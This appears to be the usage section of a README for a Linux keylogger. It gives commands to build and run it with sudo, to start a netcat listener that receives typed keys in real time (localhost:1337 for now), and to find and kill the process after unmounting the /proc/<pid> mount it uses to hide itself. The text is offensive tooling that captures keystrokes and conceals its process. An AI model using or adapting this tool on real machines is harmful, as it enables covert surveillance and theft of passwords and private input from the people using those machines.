make
sudo build/keylogger
You can start a nc server with this command
nc -klnvp 1337
and the keylogger will automaticelly connect to it and send instantely the keys typed, I didn't implemented some args customisation for port/ip so for now it's only connect to localhost:1337
you first have to find the PID of the process, for that the keylloger create a dir with pid like this:
then umount it and kill it
sudo umount /proc/<pid>
sudo killall -9 build/keylogger